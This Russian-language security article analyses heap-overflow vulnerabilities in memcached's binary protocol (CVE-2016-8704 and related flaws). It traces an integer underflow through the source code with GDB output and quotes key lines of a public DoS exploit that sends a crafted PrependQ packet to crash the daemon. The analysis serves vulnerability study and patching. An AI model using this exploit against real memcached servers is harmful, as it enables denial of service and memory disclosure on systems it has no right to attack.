В сервере memcached было найдено сразу три уязвимости. Их успешная эксплуатация приводит к переполнению буфера в области данных приложения. Атакующий может вызвать отказ в обслуживании, прочитать некоторые участки памяти или выполнить произвольный код на целевой системе с правами пользoвателя, от которого запущен демон. Уязвимыми оказались несколько команд для работы с хранилищем ключей: set
, add
, replace
, append
, prepend
и их тихие версии с суффиксом Q
. Досталось и реализации протокола аутентификации SASL.
EXPLOIT
Так как уязвимости однотипны, рассмотрим только один DoS-эксплоит для CVE-2016-8705. Мой тестовый стенд — Debian 8.5, memcached версии 1.4.32 и для отладки GDB + PEDA.
«Мемкеш» поддерживает два протокола для взаимодействия с данными — текстовый (ASCII) и двоичный. При использовaнии второго как раз и возникают проблемы. В бинарных протоколах часто бывают указаны размеры блоков передаваемых данных. Протокол memcached — не исключение.
Ошибка возникает при работе с памятью в функции do_item_alloc
.
145: item *do_item_alloc(char *key, const size_t nkey, const unsigned int flags, 146: const rel_time_t exptime, const int nbytes) { ... 151: size_t ntotal = item_make_header(nkey + 1, flags, nbytes, suffix, &nsuffix); ... 180: it = slabs_alloc(ntotal, id, &total_bytes, 0); ... 238: memcpy(ITEM_key(it), key, nkey); 239: it->exptime = exptime; 240: memcpy(ITEM_suffix(it), suffix, (size_t)nsuffix); 241: it->nsuffix = nsuffix;
В коде используются переменные nkey
и nbytes
для того, чтобы вычислить количество памяти, которую нужно выделить. Затем в эту область копируются пользовательские данные, причем проверка на их длину отсутствует. Выходит, что если размер данных будет больше размера выделенной памяти, то произойдет переполнение буфера.
[ad name=»Responbl»]
Согласно CVE-2016-8704, уязвимы команды Append (0x0e
), Prepend (0x0f
), AppendQ (0x19
) и PrependQ (0x1a
).
095: PROTOCOL_BINARY_CMD_APPEND = 0x0e, 096: PROTOCOL_BINARY_CMD_PREPEND = 0x0f, ... 106: PROTOCOL_BINARY_CMD_APPENDQ = 0x19, 107: PROTOCOL_BINARY_CMD_PREPENDQ = 0x1a,
При выполнении команд проверяется только длина самого ключа, но не данных.
2044: case PROTOCOL_BINARY_CMD_APPENDQ: 2045: c->cmd = PROTOCOL_BINARY_CMD_APPEND; 2046: break; 2047: case PROTOCOL_BINARY_CMD_PREPENDQ: 2048: c->cmd = PROTOCOL_BINARY_CMD_PREPEND; 2049: break; ... 2066: switch (c->cmd) { ... 2122: case PROTOCOL_BINARY_CMD_APPEND: 2123: case PROTOCOL_BINARY_CMD_PREPEND: 2124: if (keylen > 0 && extlen == 0) { 2125: bin_read_key(c, bin_reading_set_header, 0); 2126: } else { 2127: protocol_error = 1; 2128: } 2129: break;
Для примeра рассмотрим пакет из эксплоита. Формат бинарных пакетов memcached я описывать не буду, но если тебе интересно, почитай о нем здесь.
Длина ключа указана равная FA
, а размер данных равен нулю.
40695.c:
09: key_len = struct.pack("!H",0xfa) ... 13: body_len = struct.pack("!I",0)
После чтения данных из отправленного пакета их обрабатывает функция process_bin_append_prepend
.
2282: static void process_bin_append_prepend(conn *c) { 2283: char *key; 2284: int nkey; 2285: int vlen; 2286: item *it;
Обрати внимание на типы переменных nkey
и vlen
. Они объявлены как целые со знаком, тогда как тип keylen
— целое число без знака.
155: uint16_t keylen; ... 159: uint32_t bodylen; ... 164: } protocol_binary_request_header; gdb-peda$ ptype nkey type = int gdb-peda$ ptype vlen type = int gdb-peda$ ptype c->binary_header.request.keylen type = unsigned short gdb-peda$ ptype c->binary_header.request.bodylen type = unsigned int
Чтобы посмотреть, как обрабатывается запрос, я воспользуюсь GDB, а чтобы удобнее было отлаживать, я предварительно скомпилировал memcached с отладочными символами.
[ad name=»Responbl»]
Поставим брейк-поинт gdb-peda$ b memcached.с:2291
и отправим пакет серверу. Затем немного потрейсим код, чтобы понять, что именно происходит при обработке запроса. Все данные отправляются одним блоком (key + keydata), а в заголoвках пакета передаются размеры. В нашем случае этот блок (AAAAAAA…) лежит по адреcу b6333b80
.
40695.c:
16: body = "A"*1024 gdb-peda$ x/7xs 0xb6333b80 0xb6333b80: 'A' <repeats 200 times>... 0xb6333c48: 'A' <repeats 200 times>... 0xb6333d10: 'A' <repeats 200 times>... 0xb6333dd8: 'A' <repeats 200 times>... 0xb6333ea0: 'A' <repeats 200 times>... 0xb6333f68: 'A' <repeats 26 times> 0xb6333f83: ""
Функция binary_get_key
возвращает указатель на имя ключа.
memcached.c:
2290: key = binary_get_key(c);
memcached.c:
1130: static char* binary_get_key(conn *c) { 1131: return c->rcurr - (c->binary_header.request.keylen); 1132: } gdb-peda$ print c->rcurr $26 = 0xb6333c7a 'A' <repeats 200 times>... gdb-peda$ x/5xs 0xb6333c7a 0xb6333c7a: 'A' <repeats 200 times>... 0xb6333d42: 'A' <repeats 200 times>... 0xb6333e0a: 'A' <repeats 200 times>... 0xb6333ed2: 'A' <repeats 176 times> 0xb6333f83: ""
Получается, что ключ лежит по адресу b6333b80
.
gdb-peda$ print key $24 = 0xb6333b80 'A' <repeats 200 times>...
Следующий шаг — это вычиcление размера памяти, который требуется для хранения значения (vlen
). Для этого нужно взять общий размер переданнoго блока и вычесть длину ключа. Так мы найдем смещение, с которого начинаются данные.
memcached.c:
2291: nkey = c->binary_header.request.keylen; # 0хFA, как ты помнишь
Так как мы передали ноль в качестве размера данных (c->binary_header.request.bodylen = 0
), то на выходе получим отрицательное значение. Произошло целочисленное переполнение.
memcached.c:
2292: vlen = c->binary_header.request.bodylen - nkey; # 0-0хFA =0xffffff06 (-250)
Теперь подготовленные данные передаются в функцию item_alloc
. Это обертка над do_item_alloc
, той самой функции, о которой говорилось в начале.
memcached.c:
2302: it = item_alloc(key, nkey, 0, 0, vlen+2); item_alloc (key=0xb6333b80 'A' <repeats 200 times>..., nkey=0xfa, flags=0x0, exptime=0x0, nbytes=0xffffff08) at thread.c:538 538 it = do_item_alloc(key, nkey, flags, exptime, nbytes);
Функция item_make_header
возвращает общий размeр заголовка для создания записи.
items.c:
145: item *do_item_alloc(char *key, const size_t nkey, const unsigned int flags, 146: const rel_time_t exptime, const int nbytes) { ... 151: size_t ntotal = item_make_header(nkey + 1, flags, nbytes, suffix, &nsuffix);
Затем функция slabs_alloc
выделяет место в памяти для хранения этого объекта.
items.c:
180: it = slabs_alloc(ntotal, id, &total_bytes, 0);
И наконец, вызывается функция memcpy
, которая копирует данные в выделенную область памяти. При ее выполнении и происходит переполнение кучи, heap overflow.
gdb-peda$ where #0 do_item_alloc (key=0xb6333b80 'A' <repeats 200 times>..., nkey=0xfa, flags=0x0, exptime=0x0, nbytes=0xffffff08) at items.c:238
items.c:
236: it->nkey = nkey; 237: it->nbytes = nbytes; 238: memcpy(ITEM_key(it), key, nkey);
Простая отправка пакета хоть и вызывает переполнение, но не приводит к полному падению демона memcached. Поэтому найденную уязвимость можно эксплуатировать многократно и использовать, напpимер, для извлечения данных из памяти.
Процесс упадет в том случае, если изменить существующий ключ, а затем запросить его. Что и делает рассматриваемый эксплоит.
[ad name=»Responbl»]
40695.c:
21: packet = MEMCACHED_REQUEST_MAGIC + OPCODE_PREPEND_Q + key_len + extra_len 22: packet += data_type + vbucket + body_len + opaque + CAS 23: packet += body 24: 25: set_packet = "set testkey 0 60 4rntestrn" 26: get_packet = "get testkeyrn" ... 30: s1.sendall(set_packet) # Отправляем пакет на создание ключа testkey ... 37: s2.sendall(packet) # Отправляем пакет, приводящий к переполнению кучи .. 43: s3.sendall(get_packet) # Пытаемся получить ключ testkey. Мемкеш падает. 44: s3.recv(1024) 45: s3.close()
TARGETS
Уязвимы все версии memcached вплоть до 1.4.32.
SOLUTION
Разработчики исправили уязвимость и выпустили патчи в виде новой версии сервера под номером 1.4.33. Так что обновляйся и make memcached great again!